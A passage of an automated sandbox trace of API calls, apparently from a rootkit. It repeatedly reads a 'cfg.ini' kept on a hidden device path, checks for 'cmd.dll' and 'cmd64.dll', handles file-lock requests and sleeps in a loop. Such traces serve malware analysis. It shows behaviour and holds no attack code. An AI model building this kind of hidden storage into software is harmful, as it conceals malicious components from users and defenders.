ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.633] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b66000 [0121.633] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.633] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.633] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.633] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.633] IdePortDispatch () returned 0x103 [0121.633] KeWaitForMutexObject () returned 0x0 [0121.633] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.633] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.633] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.633] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.633] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.633] IdePortDispatch () returned 0x103 [0121.634] KeWaitForMutexObject () returned 0x0 [0121.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.634] KeLeaveCriticalRegion () [0121.634] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.634] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.634] KeEnterCriticalRegion () [0121.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.634] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.634] KeLeaveCriticalRegion () [0121.634] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.634] KeEnterCriticalRegion () [0121.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.634] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.634] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd67d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.634] KeLeaveCriticalRegion () [0121.634] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.634] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.634] KeEnterCriticalRegion () [0121.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.634] ExFreePoolWithTag (P=0xfffffa8003bc5b70, Tag=0x0) [0121.635] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.635] KeLeaveCriticalRegion () [0121.635] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.635] ReleaseMutex (hMutex=0xf0) returned 1 [0121.635] Sleep (dwMilliseconds=0x124f80) [0121.650] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.650] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.650] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.650] KeEnterCriticalRegion () [0121.650] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.650] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.650] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.650] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.650] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.650] IdePortDispatch () returned 0x103 [0121.650] KeWaitForMutexObject () returned 0x0 [0121.650] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.650] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.650] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.650] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.650] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.650] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbdf10 [0121.650] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.650] KeLeaveCriticalRegion () [0121.650] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.650] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.650] KeEnterCriticalRegion () [0121.650] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.650] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.650] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.650] KeLeaveCriticalRegion () [0121.650] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.650] KeEnterCriticalRegion () [0121.650] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.650] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.651] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.651] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.651] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.651] IdePortDispatch () returned 0x103 [0121.651] KeWaitForMutexObject () returned 0x0 [0121.651] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.651] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.651] KeLeaveCriticalRegion () [0121.651] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.651] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.651] KeEnterCriticalRegion () [0121.651] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.651] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b6b000 [0121.651] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.651] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.651] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.651] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.651] IdePortDispatch () returned 0x103 [0121.651] KeWaitForMutexObject () returned 0x0 [0121.651] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.651] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.651] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.651] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.651] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.651] IdePortDispatch () returned 0x103 [0121.651] KeWaitForMutexObject () returned 0x0 [0121.652] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.652] KeLeaveCriticalRegion () [0121.652] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.652] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.652] KeEnterCriticalRegion () [0121.652] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.652] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.652] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.652] KeLeaveCriticalRegion () [0121.652] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.652] KeEnterCriticalRegion () [0121.652] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.652] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.652] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.652] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.652] KeLeaveCriticalRegion () [0121.652] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.652] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.652] KeEnterCriticalRegion () [0121.652] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.652] ExFreePoolWithTag (P=0xfffffa8003bbdf10, Tag=0x0) [0121.652] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.652] KeLeaveCriticalRegion () [0121.652] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.652] ReleaseMutex (hMutex=0xf0) returned 1 [0121.653] Sleep (dwMilliseconds=0x124f80) [0121.667] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.667] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.667] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.667] KeEnterCriticalRegion () [0121.667] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.667] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.667] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.667] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.667] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.667] IdePortDispatch () returned 0x103 [0121.667] KeWaitForMutexObject () returned 0x0 [0121.668] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.668] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.668] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.668] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.668] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.668] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6bc0 [0121.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.668] KeLeaveCriticalRegion () [0121.668] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.668] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.668] KeEnterCriticalRegion () [0121.668] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.668] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.668] KeLeaveCriticalRegion () [0121.668] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.668] KeEnterCriticalRegion () [0121.668] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.668] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.668] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.668] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.668] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.668] IdePortDispatch () returned 0x103 [0121.668] KeWaitForMutexObject () returned 0x0 [0121.668] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.668] KeLeaveCriticalRegion () [0121.668] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.668] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.668] KeEnterCriticalRegion () [0121.668] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.668] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b70000 [0121.669] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.669] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.669] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.669] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.669] IdePortDispatch () returned 0x103 [0121.669] KeWaitForMutexObject () returned 0x0 [0121.669] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.669] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.669] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.669] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.669] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.669] IdePortDispatch () returned 0x103 [0121.669] KeWaitForMutexObject () returned 0x0 [0121.669] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.669] KeLeaveCriticalRegion () [0121.669] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.670] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.670] KeEnterCriticalRegion () [0121.670] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.670] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.670] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.670] KeLeaveCriticalRegion () [0121.670] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.670] KeEnterCriticalRegion () [0121.670] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.670] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.670] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.670] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.670] KeLeaveCriticalRegion () [0121.670] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.670] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.670] KeEnterCriticalRegion () [0121.670] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.670] ExFreePoolWithTag (P=0xfffffa8003bd6bc0, Tag=0x0) [0121.670] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.670] KeLeaveCriticalRegion () [0121.670] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.670] ReleaseMutex (hMutex=0xf0) returned 1 [0121.670] Sleep (dwMilliseconds=0x124f80) [0121.686] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.686] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.686] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.686] KeEnterCriticalRegion () [0121.686] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.686] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.686] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.686] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.686] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.686] IdePortDispatch () returned 0x103 [0121.686] KeWaitForMutexObject () returned 0x0 [0121.686] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.686] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.686] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.686] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.686] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.686] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6860 [0121.686] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.686] KeLeaveCriticalRegion () [0121.686] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.686] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.686] KeEnterCriticalRegion () [0121.686] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.686] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.687] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.687] KeLeaveCriticalRegion () [0121.687] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.687] KeEnterCriticalRegion () [0121.687] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.687] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.687] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.687] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.687] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.687] IdePortDispatch () returned 0x103 [0121.687] KeWaitForMutexObject () returned 0x0 [0121.687] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.687] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.687] KeLeaveCriticalRegion () [0121.687] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.687] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.687] KeEnterCriticalRegion () [0121.687] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.687] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b75000 [0121.687] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.687] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.687] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.687] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.687] IdePortDispatch () returned 0x103 [0121.687] KeWaitForMutexObject () returned 0x0 [0121.688] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.688] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.688] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.688] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.688] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.688] IdePortDispatch () returned 0x103 [0121.688] KeWaitForMutexObject () returned 0x0 [0121.688] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.688] KeLeaveCriticalRegion () [0121.688] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.688] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.688] KeEnterCriticalRegion () [0121.688] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.688] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.688] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.688] KeLeaveCriticalRegion () [0121.688] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.689] KeEnterCriticalRegion () [0121.689] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 